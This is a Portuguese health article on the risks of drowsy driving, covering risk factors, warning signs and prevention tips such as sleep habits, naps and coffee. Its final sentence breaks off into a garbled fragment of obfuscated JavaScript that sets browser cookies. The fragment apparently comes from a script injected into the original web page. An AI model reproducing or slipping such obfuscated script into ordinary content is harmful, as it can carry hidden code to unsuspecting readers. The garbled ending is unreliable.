Os riscos de se dirigir com sono

Os riscos de se dirigir com sono

Nós todos sabemos os perigos de mensagens de texto e dirigir ou beber e dirigir. Mas você sabia que dirigir com sono também aumenta o risco de se envolver em um acidente?

Os Centros de Controle e Prevenção de Doenças estimam que cerca de um em cada 25 adultos adormeceu ao volante no último mês. Obviamente adormecer ao volante pode ser mortal. Mas mesmo que você consiga ficar acordado, dirigir quando está cansado é perigoso.

Quando você está com sono, você tende a ser menos alerta. Também é mais provável que você tome decisões ruins, como dirigir muito rápido ou não deixar distância suficiente entre você e o motorista à sua frente. Condução sonolenta também pode significar que seu tempo de reação é diminuído. Se você precisar bater os freios de repente, até mesmo um segundo atraso pode ser a diferença entre evitar um acidente e bater.

Fatores de risco para dirigir sonolento

Claro, qualquer um pode estar em risco de dirigir sonolento. Mas certos fatores aumentam as chances de uma pessoa ficar sonolenta ao volante. Por exemplo, se você trabalha durante a noite, você pode estar cansado quando você dirigir para casa de manhã. Tomar certos medicamentos que causam sonolência e ter um distúrbio do sono não tratado também aumenta o risco. As pessoas que dirigem longas distâncias, como caminhoneiros, também correm um risco maior de dirigir com sonolência.

De acordo com o Centro de Distúrbios do Sono da UCLA, Universidade da Califórnia, EUA, os jovens condutores do sexo masculino correm o risco de dirigir quando estão muito cansados. Isso pode ser porque os jovens tendem a fazer certas escolhas, como puxar uma noite inteira ou tomar algumas bebidas alcoólicas, o que aumenta a sonolência. Eles também podem ser menos propensos a perceber que estão cansados ​​demais para dirigir.

Reconhecer os sinais de condução sonolenta

Mesmo que você não tenha fatores de risco específicos para dirigir sonolento, isso pode acontecer com qualquer pessoa. Reconhecer os sinais de que você está cansado demais para dirigir pode salvar vidas. Por exemplo, se você está tendo problemas para manter os olhos abertos ou se pegar bocejando com frequência, talvez seja hora de parar.

Sinais adicionais de que você pode estar com muito sono para continuar dirigindo incluem outra pista e sinais de trânsito faltando. Além disso, se de repente você se encontrar a vários quilômetros da estrada e não se lembrar de dirigir, pode ser devido à fadiga.

Como evitar a condução sonolenta

Há várias coisas que você pode fazer para evitar dirigir quando está com sono. Considere as seguintes sugestões:

Desenvolva bons hábitos de sono: sua melhor aposta para mantê-lo alerta quando você estiver dirigindo, é conseguir o descanso de que precisa à noite. Faça de sete a nove horas de sono a cada noite uma prioridade. Se você estiver com dificuldade para dormir, converse com seu médico sobre como melhorar seus hábitos de sono.

Tratar distúrbios do sono: distúrbios do sono podem levar a sonolência diurna e aumentar o risco de dirigir sonolento. Tratar distúrbios do sono irá melhorar a qualidade do seu sono e sua saúde geral.

Evite dirigir tarde da noite: se possível, evite longas viagens à noite, quando você pode estar sonolento naturalmente. Por exemplo, se você estiver viajando em férias, faça a maior parte de sua condução durante o dia, quando tiver maior probabilidade de estar alerta e bem acordado.

Tire um cochilo: se você perceber que está com muito sono para dirigir, considere sair da estrada para um lugar seguro e tirar uma soneca rápida. Um curto cochilo de 20 a 30 minutos pode aumentar sua energia e acordá-lo.

Tome uma xícara de café: Em alguns casos, um par de xícaras de café pode ajudar você a se sentir mais alerta. Tenha em mente que os efeitos do café são apenas de curto prazo e não devem substituir o sono suficiente.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]